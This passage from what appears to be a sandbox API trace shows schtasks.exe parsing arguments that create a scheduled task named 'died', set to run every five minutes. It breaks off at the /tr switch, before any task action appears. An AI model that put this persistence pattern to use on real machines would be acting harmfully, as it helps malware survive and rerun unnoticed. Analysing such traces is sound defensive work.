_Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.842] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.842] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.842] lstrlenW (lpString="|ru|") returned 4 [0077.842] lstrlenW (lpString="|tn|") returned 4 [0077.842] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0077.842] SetLastError (dwErrCode=0x490) [0077.842] lstrlenW (lpString="rp") returned 2 [0077.843] lstrlenW (lpString="rp") returned 2 [0077.843] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.843] lstrlenW (lpString="tn") returned 2 [0077.843] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.843] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.843] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.843] lstrlenW (lpString="|rp|") returned 4 [0077.843] lstrlenW (lpString="|tn|") returned 4 [0077.843] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0077.843] SetLastError (dwErrCode=0x490) [0077.843] lstrlenW (lpString="sc") returned 2 [0077.843] lstrlenW (lpString="sc") returned 2 [0077.843] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.843] lstrlenW (lpString="tn") returned 2 [0077.843] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.843] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.843] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.843] lstrlenW (lpString="|sc|") returned 4 [0077.843] lstrlenW (lpString="|tn|") returned 4 [0077.843] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0077.843] SetLastError (dwErrCode=0x490) [0077.843] lstrlenW (lpString="mo") returned 2 [0077.843] lstrlenW (lpString="mo") returned 2 [0077.843] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] lstrlenW (lpString="tn") returned 2 [0077.844] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.844] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.844] lstrlenW (lpString="|mo|") returned 4 [0077.844] lstrlenW (lpString="|tn|") returned 4 [0077.844] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0077.844] SetLastError (dwErrCode=0x490) [0077.844] lstrlenW (lpString="d") returned 1 [0077.844] lstrlenW (lpString="d") returned 1 [0077.844] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] lstrlenW (lpString="tn") returned 2 [0077.844] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|d|") returned 3 [0077.844] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.844] lstrlenW (lpString="|d|") returned 3 [0077.844] lstrlenW (lpString="|tn|") returned 4 [0077.844] SetLastError (dwErrCode=0x490) [0077.844] lstrlenW (lpString="m") returned 1 [0077.844] lstrlenW (lpString="m") returned 1 [0077.844] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] lstrlenW (lpString="tn") returned 2 [0077.844] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.844] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|m|") returned 3 [0077.845] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.845] lstrlenW (lpString="|m|") returned 3 [0077.845] lstrlenW (lpString="|tn|") returned 4 [0077.845] SetLastError (dwErrCode=0x490) [0077.845] lstrlenW (lpString="i") returned 1 [0077.845] lstrlenW (lpString="i") returned 1 [0077.845] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.845] lstrlenW (lpString="tn") returned 2 [0077.845] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.845] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|i|") returned 3 [0077.845] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.845] lstrlenW (lpString="|i|") returned 3 [0077.845] lstrlenW (lpString="|tn|") returned 4 [0077.845] SetLastError (dwErrCode=0x490) [0077.845] lstrlenW (lpString="tn") returned 2 [0077.845] lstrlenW (lpString="tn") returned 2 [0077.845] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.845] lstrlenW (lpString="tn") returned 2 [0077.845] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.845] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.845] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tn|") returned 4 [0077.845] lstrlenW (lpString="|tn|") returned 4 [0077.845] lstrlenW (lpString="|tn|") returned 4 [0077.845] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0077.845] SetLastError (dwErrCode=0x0) [0077.846] SetLastError (dwErrCode=0x0) [0077.846] lstrlenW (lpString="died") returned 4 [0077.846] lstrlenW (lpString="-/") returned 2 [0077.846] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0077.846] SetLastError (dwErrCode=0x490) [0077.846] SetLastError (dwErrCode=0x490) [0077.846] SetLastError (dwErrCode=0x0) [0077.846] lstrlenW (lpString="died") returned 4 [0077.846] StrChrIW (lpStart="died", wMatch=0x3a) returned 0x0 [0077.846] SetLastError (dwErrCode=0x490) [0077.846] SetLastError (dwErrCode=0x0) [0077.846] lstrlenW (lpString="died") returned 4 [0077.846] SetLastError (dwErrCode=0x0) [0077.846] SetLastError (dwErrCode=0x0) [0077.846] lstrlenW (lpString="/sc") returned 3 [0077.846] lstrlenW (lpString="-/") returned 2 [0077.846] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.846] lstrlenW (lpString="create") returned 6 [0077.846] lstrlenW (lpString="create") returned 6 [0077.846] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.846] lstrlenW (lpString="sc") returned 2 [0077.846] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.846] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.846] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.846] lstrlenW (lpString="|create|") returned 8 [0077.846] lstrlenW (lpString="|sc|") returned 4 [0077.847] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0077.847] SetLastError (dwErrCode=0x490) [0077.847] lstrlenW (lpString="?") returned 1 [0077.847] lstrlenW (lpString="?") returned 1 [0077.847] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.847] lstrlenW (lpString="sc") returned 2 [0077.847] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.847] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.847] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.847] lstrlenW (lpString="|?|") returned 3 [0077.847] lstrlenW (lpString="|sc|") returned 4 [0077.847] SetLastError (dwErrCode=0x490) [0077.847] lstrlenW (lpString="s") returned 1 [0077.847] lstrlenW (lpString="s") returned 1 [0077.847] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.847] lstrlenW (lpString="sc") returned 2 [0077.847] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.847] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.847] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.847] lstrlenW (lpString="|s|") returned 3 [0077.847] lstrlenW (lpString="|sc|") returned 4 [0077.847] SetLastError (dwErrCode=0x490) [0077.847] lstrlenW (lpString="u") returned 1 [0077.847] lstrlenW (lpString="u") returned 1 [0077.848] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.848] lstrlenW (lpString="sc") returned 2 [0077.848] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.848] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.848] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.848] lstrlenW (lpString="|u|") returned 3 [0077.848] lstrlenW (lpString="|sc|") returned 4 [0077.848] SetLastError (dwErrCode=0x490) [0077.848] lstrlenW (lpString="p") returned 1 [0077.848] lstrlenW (lpString="p") returned 1 [0077.848] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.848] lstrlenW (lpString="sc") returned 2 [0077.848] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.848] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.848] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.848] lstrlenW (lpString="|p|") returned 3 [0077.848] lstrlenW (lpString="|sc|") returned 4 [0077.848] SetLastError (dwErrCode=0x490) [0077.848] lstrlenW (lpString="ru") returned 2 [0077.848] lstrlenW (lpString="ru") returned 2 [0077.848] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.848] lstrlenW (lpString="sc") returned 2 [0077.848] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.849] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.849] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.849] lstrlenW (lpString="|ru|") returned 4 [0077.849] lstrlenW (lpString="|sc|") returned 4 [0077.849] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0077.849] SetLastError (dwErrCode=0x490) [0077.849] lstrlenW (lpString="rp") returned 2 [0077.849] lstrlenW (lpString="rp") returned 2 [0077.849] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.849] lstrlenW (lpString="sc") returned 2 [0077.849] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.849] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.849] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.849] lstrlenW (lpString="|rp|") returned 4 [0077.849] lstrlenW (lpString="|sc|") returned 4 [0077.849] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0077.849] SetLastError (dwErrCode=0x490) [0077.849] lstrlenW (lpString="sc") returned 2 [0077.849] lstrlenW (lpString="sc") returned 2 [0077.849] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.849] lstrlenW (lpString="sc") returned 2 [0077.849] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.849] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.850] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.850] lstrlenW (lpString="|sc|") returned 4 [0077.850] lstrlenW (lpString="|sc|") returned 4 [0077.850] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0077.850] SetLastError (dwErrCode=0x0) [0077.850] SetLastError (dwErrCode=0x0) [0077.850] lstrlenW (lpString="MINUTE") returned 6 [0077.850] lstrlenW (lpString="-/") returned 2 [0077.850] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0077.850] SetLastError (dwErrCode=0x490) [0077.850] SetLastError (dwErrCode=0x490) [0077.850] SetLastError (dwErrCode=0x0) [0077.850] lstrlenW (lpString="MINUTE") returned 6 [0077.850] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0077.850] SetLastError (dwErrCode=0x490) [0077.850] SetLastError (dwErrCode=0x0) [0077.850] GetProcessHeap () returned 0x160000 [0077.850] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17d6b0 [0077.850] _memicmp (_Buf1=0x17d6b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.850] lstrlenW (lpString="MINUTE") returned 6 [0077.850] GetProcessHeap () returned 0x160000 [0077.850] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17d6d0 [0077.850] lstrlenW (lpString="MINUTE") returned 6 [0077.850] lstrlenW (lpString=" \x09") returned 2 [0077.850] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0077.850] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0077.850] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.850] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0077.851] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0077.851] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0077.851] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0077.851] GetLastError () returned 0x0 [0077.851] lstrlenW (lpString="MINUTE") returned 6 [0077.851] lstrlenW (lpString="MINUTE") returned 6 [0077.851] SetLastError (dwErrCode=0x0) [0077.851] SetLastError (dwErrCode=0x0) [0077.851] lstrlenW (lpString="/mo") returned 3 [0077.851] lstrlenW (lpString="-/") returned 2 [0077.851] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.851] lstrlenW (lpString="create") returned 6 [0077.851] lstrlenW (lpString="create") returned 6 [0077.851] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.851] lstrlenW (lpString="mo") returned 2 [0077.851] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.851] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.851] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.851] lstrlenW (lpString="|create|") returned 8 [0077.851] lstrlenW (lpString="|mo|") returned 4 [0077.851] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0077.851] SetLastError (dwErrCode=0x490) [0077.851] lstrlenW (lpString="?") returned 1 [0077.851] lstrlenW (lpString="?") returned 1 [0077.851] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.852] lstrlenW (lpString="mo") returned 2 [0077.852] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.852] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.852] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.920] lstrlenW (lpString="|?|") returned 3 [0077.920] lstrlenW (lpString="|mo|") returned 4 [0077.920] SetLastError (dwErrCode=0x490) [0077.920] lstrlenW (lpString="s") returned 1 [0077.920] lstrlenW (lpString="s") returned 1 [0077.920] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.920] lstrlenW (lpString="mo") returned 2 [0077.920] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.920] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.920] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.920] lstrlenW (lpString="|s|") returned 3 [0077.920] lstrlenW (lpString="|mo|") returned 4 [0077.920] SetLastError (dwErrCode=0x490) [0077.920] lstrlenW (lpString="u") returned 1 [0077.920] lstrlenW (lpString="u") returned 1 [0077.920] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.921] lstrlenW (lpString="mo") returned 2 [0077.921] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.921] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.921] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.921] lstrlenW (lpString="|u|") returned 3 [0077.921] lstrlenW (lpString="|mo|") returned 4 [0077.921] SetLastError (dwErrCode=0x490) [0077.921] lstrlenW (lpString="p") returned 1 [0077.921] lstrlenW (lpString="p") returned 1 [0077.921] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.921] lstrlenW (lpString="mo") returned 2 [0077.921] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.921] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|p|") returned 3 [0077.921] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.921] lstrlenW (lpString="|p|") returned 3 [0077.921] lstrlenW (lpString="|mo|") returned 4 [0077.921] SetLastError (dwErrCode=0x490) [0077.922] lstrlenW (lpString="ru") returned 2 [0077.922] lstrlenW (lpString="ru") returned 2 [0077.922] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.922] lstrlenW (lpString="mo") returned 2 [0077.922] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.922] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|ru|") returned 4 [0077.922] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.922] lstrlenW (lpString="|ru|") returned 4 [0077.922] lstrlenW (lpString="|mo|") returned 4 [0077.922] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0077.922] SetLastError (dwErrCode=0x490) [0077.922] lstrlenW (lpString="rp") returned 2 [0077.922] lstrlenW (lpString="rp") returned 2 [0077.922] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.922] lstrlenW (lpString="mo") returned 2 [0077.923] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.923] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|rp|") returned 4 [0077.923] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.923] lstrlenW (lpString="|rp|") returned 4 [0077.923] lstrlenW (lpString="|mo|") returned 4 [0077.923] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0077.923] SetLastError (dwErrCode=0x490) [0077.923] lstrlenW (lpString="sc") returned 2 [0077.923] lstrlenW (lpString="sc") returned 2 [0077.923] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.923] lstrlenW (lpString="mo") returned 2 [0077.923] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.923] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|sc|") returned 4 [0077.924] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.924] lstrlenW (lpString="|sc|") returned 4 [0077.924] lstrlenW (lpString="|mo|") returned 4 [0077.924] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0077.924] SetLastError (dwErrCode=0x490) [0077.924] lstrlenW (lpString="mo") returned 2 [0077.924] lstrlenW (lpString="mo") returned 2 [0077.924] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.924] lstrlenW (lpString="mo") returned 2 [0077.924] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.924] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.924] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|mo|") returned 4 [0077.924] lstrlenW (lpString="|mo|") returned 4 [0077.924] lstrlenW (lpString="|mo|") returned 4 [0077.924] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0077.924] SetLastError (dwErrCode=0x0) [0077.925] SetLastError (dwErrCode=0x0) [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] SetLastError (dwErrCode=0x490) [0077.925] SetLastError (dwErrCode=0x0) [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0077.925] SetLastError (dwErrCode=0x490) [0077.925] SetLastError (dwErrCode=0x0) [0077.925] _memicmp (_Buf1=0x17d6b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] lstrlenW (lpString=" \x09") returned 2 [0077.925] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0077.925] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0077.925] GetLastError () returned 0x0 [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] lstrlenW (lpString="5") returned 1 [0077.925] GetProcessHeap () returned 0x160000 [0077.925] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x4) returned 0x175560 [0077.926] SetLastError (dwErrCode=0x0) [0077.926] SetLastError (dwErrCode=0x0) [0077.926] lstrlenW (lpString="/tr") returned 3 [0077.926] lstrlenW (lpString="-/") returned 2 [0077.926] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.926] lstrlenW (lpString="create") returned 6 [0077.926] lstrlenW (lpString="create") returned 6 [0077.926] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.926] lstrlenW (lpString="tr") returned 2 [0077.926] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.926] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|create|") returned 8 [0077.926] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.926] lstrlenW (lpString="|create|") returned 8 [0077.926] lstrlenW (lpString="|tr|") returned 4 [0077.926] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0077.926] SetLastError (dwErrCode=0x490) [0077.926] lstrlenW (lpString="?") returned 1 [0077.927] lstrlenW (lpString="?") returned 1 [0077.927] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.927] lstrlenW (lpString="tr") returned 2 [0077.927] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.927] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|?|") returned 3 [0077.927] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.927] lstrlenW (lpString="|?|") returned 3 [0077.927] lstrlenW (lpString="|tr|") returned 4 [0077.927] SetLastError (dwErrCode=0x490) [0077.927] lstrlenW (lpString="s") returned 1 [0077.927] lstrlenW (lpString="s") returned 1 [0077.927] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.927] lstrlenW (lpString="tr") returned 2 [0077.927] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.927] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|s|") returned 3 [0077.927] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.928] lstrlenW (lpString="|s|") returned 3 [0077.928] lstrlenW (lpString="|tr|") returned 4 [0077.928] SetLastError (dwErrCode=0x490) [0077.928] lstrlenW (lpString="u") returned 1 [0077.928] lstrlenW (lpString="u") returned 1 [0077.928] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.928] lstrlenW (lpString="tr") returned 2 [0077.928] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.928] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|u|") returned 3 [0077.928] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc4e8 | out: _Buffer="|tr|") returned 4 [0077.928] lstrlenW (lpString="|u|") returned 3 [0077.928] lstrlenW (lpString="|tr|") returned 4 [0077.928] SetLastError (dwErrCode=0x490) [0077.928] lstrlenW (lpString="p") returned 1 [0077.928] lstrlenW (lpString="p") returned 1 [0077.928] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.928] lstrlenW (lpString="tr") returned 2 [0077.928] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.929] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, 